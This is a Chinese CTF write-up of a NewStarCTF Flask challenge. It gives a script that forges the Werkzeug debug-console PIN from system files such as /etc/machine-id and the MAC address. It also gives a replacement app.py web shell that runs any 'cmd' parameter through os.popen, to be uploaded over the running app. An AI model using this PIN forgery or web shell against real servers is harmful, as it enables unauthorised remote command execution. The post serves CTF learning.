首页 > 其他分享 >[NewStarCTF]flask disk debug模式下的漏洞

[NewStarCTF]flask disk debug模式下的漏洞

时间:2024-04-26 13:58:03浏览次数:22  
标签:__ NewStarCTF flask app py debug name

打开环境,发现三个链接/list /upload /console,题目描述为flask,那就是与flask的debug模式相关的漏洞,在此之前我只听过debug的pin码漏洞,也就是关于pin码的生成的。这里提一下:

点击查看代码
pin码的生成取决于下面这几个因素:

1.服务器运行flask所登录的用户名。
2.modname
2.getattr(app, “name”, app.class.name)。
3.flask库下app.py的绝对路径。
4.当前网络的mac地址的十进制数。通过文件/sys/class/net/eth0/address获得
5.最后一个就是机器的id。
其中modname就是flask.app,getattr(app, “name”, app.class.name)就是Flask这两个一般是不会变的,app.py的绝对路径我们可以直接从它的报错信息中得知。
登录用户可以在/etc/passwd中发现端倪。
机器的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,而docker的id在/proc/self/cgroup。
这里放一个大佬的生成pin码的payload。
点击查看代码
#!/usr/bin/python2.7
#coding:utf-8

from sys import *
import requests
import re
from itertools import chain
import hashlib

def genpin(mac,mid):

    probably_public_bits = [
        'flaskweb', # username
        'flask.app', # 一般为固定值modname
        'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
        '/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
    ]
    mac = "0x"+mac.replace(":","")
    mac = int(mac,16)
    private_bits = [
        str(mac), # str(uuid.getnode()),  /sys/class/net/eth0/address
        str(mid) # get_machine_id(), /proc/sys/kernel/random/boot_id
    ]

    h = hashlib.md5()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, str):
            bit = bit.encode('utf-8')
        h.update(bit)
    h.update(b'cookiesalt')

    num = None
    if num is None:
        h.update(b'pinsalt')
        num = ('%09d' % int(h.hexdigest(), 16))[:9]

    rv =None
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                            for x in range(0, len(num), group_size))
                break
        else:
            rv = num

    return rv

def getcode(content):
    try:
        return re.findall(r"<pre>([\s\S]*)</pre>",content)[0].split()[0]
    except:
        return ''
def getshell():
    print (genpin("02:42:ac:10:af:ca","b53170cd20be5202463fa5e0a54ea66fbeb1f2c058dcb09e105767cfc41acba4"))

if __name__ == '__main__':
    getshell()


话题回到今天这道题,虽然和debug模式相关,但不是pin码相关的,这里涉及到一个flask开发相关的设置。Python + Flask程序开发过程中,修改模板文件和修改Python程序后,默认情况下,需要重新运行服务,才能够刷新。如果想要修改模板/程序后,让代码立即生效,需要特殊处理。(我记得java springboot中也有不需要重启直接生效)在app.py设置
app.jinja_env.auto_reload = True。说这个对这题有什么用呢?主页有三个链接,可以上传文件,那我们是不是可以上传app.py,让其直接覆盖运行(有人就说了,你怎么知道你上传的地方是不是app.py所在目录,那题目给你第一个链接干嘛的,你上传一个试试就发现直接上传到了app.py所在目录)。问题实质上就变成了flask开启了debug模式下,app.py源文件被修改后会立刻加载,所以只需要上传一个能rce的app.py文件把原来的覆盖,就可以了。注意语法不能出错,否则会崩溃。上payload:

点击查看代码
from flask import Flask,request
import os
app = Flask(__name__)
@app.route('/')
def index():    
    try:        
        cmd = request.args.get('cmd')        
        data = os.popen(cmd).read()        
        return data    
    except:        
        pass    
        
    return "1"
if __name__=='__main__':    
    app.run(host='0.0.0.0',port=5000,debug=True) // 5000port是题目简介就告诉的
// a flask disk with a vulneribility. (The application is running on port 5000)

上传后传入参数cmd就可以进行rce了。

标签:__,NewStarCTF,flask,app,py,debug,name
From: https://www.cnblogs.com/jocker-love-you/p/18159902

相关文章

  • ROS2学习--POP方法编写C++节点 debug过程
    一、编写C++节点并测试 1.创建功能包C++功能包使用ament-camke作为编译基础,依赖为rclcpp。打开终端,进入town_ws/src运行下面的指令,目录结构如下ros2pkgcreatevillage_wang--build-typeament_cmake--dependenciesrclcpp2.创建节点village_wang/src下创建一个wang2.cp......
  • LFI to RCE [NewStarCtf]Include
    记录一个没见过的RCE类型题目。先看源码:点击查看代码<?phperror_reporting(0);if(isset($_GET['file'])){$file=$_GET['file'];if(preg_match('/flag|log|session|filter|input|data/i',$file)){die(&#......
  • 72.Oradebug用法
    oracle之oradebug命令用法oradebug的前身是在ORACLE7时的ORADBX,它可以启动用停止跟踪任何会话,dumpSGA和其它内存结构,唤醒ORACLE进程,如SMON、PMON进程,也可以通过进程号使进程挂起和恢复等,还有很多功能,实际上这些功能都不常用,但是我们在看别人做问题诊断时,常看到别人在......
  • 记录:创建个人博客网站(基于FLASK)2.2建立数据库的连接
    2.2、建立数据库的连接在本项目中,没有使用FLASK官方教程的sqlite3数据库,而是使用的本地的Mysql数据库。采用了flask_sqlalchemy库,实现了与目标数据库的映射。通过调用click库,实现了在终端窗口输入命令行的形式来初始化数据库:psc:/>flask--appinit-db#flaskr/db.pyf......
  • flask session 伪造 伪随机数题
    今天见了一个没做过的flask伪造题目,先看题[CISCN2019华东南]Web4点击发现参数?url=XXX可以利用,尝试下file协议。被过滤了,可能是匹配,尝试绕过下。看看环境变量发现/app看下/app/app.py明显的session伪造,但是secrect_key生成却是伪随机数式的。这里先解释下random.seed(u......
  • 用edge_tts和Flask写一个语音生成接口
    1、安装Flask和edge_ttspipinstalledge-ttspipinstallflask[async]2、接口调用用application/json,POST参数:例子{"text":"现在是11:30分=,小爱提醒您,现在要出发了,请注意时间","lang":"zh-CN-YunxiNeural"}3、完整代码fromflaskimportFlask,requestim......
  • Advanced .Net Debugging 1:你必须知道的调试工具
    Advanced.NetDebugging1:你必须知道的调试工具合集-Net高级调试(基于原著)(7) 1.Advanced.NetDebugging1:你必须知道的调试工具01-242.Advanced.NetDebugging2:CLR基础02-273.Advanced.NetDebugging3:基本调试任务(调试目标、符号、控制调试目标执行和设置断点)03-04......
  • Advanced .Net Debugging 7:托管堆与垃圾收集
    一、简介这是我的《Advanced.NetDebugging》这个系列的第七篇文章。这篇文章的内容是原书的第二部分的【调试实战】的第五章,这一章主要讲的是从根本上认识托管堆和垃圾回收。软件系统的内存管理方式有两种,第一种是手动管理内存,这种方式容易产生一些问题产生,比如:悬空指针......
  • Flask基本用法
    Flask基本结构#引入Flask包,使得我们可以创建Flask应用实例fromflaskimportFlask#创建一个Flask应用实例。`__name__`是Python内置变量,它表示当前模块的名称。#在这里,`__name__`被传递给Flask构造函数,用于确定应用程序的基本目录(如静态文件和模板的查找路径),尤其是在......
  • Flask环境搭建
    下载并安装pthon3.7.4按下win+r,输入sysdm.cpl,高级——》环境变量——》path——》编辑——》将Python目录和Python里的scripts目录添加并置顶创建.env文件夹在工作文件夹内创建env文件夹env文件夹通常用于存放环境变量配置。在工作文件夹内创建env文件夹,以我的项目为......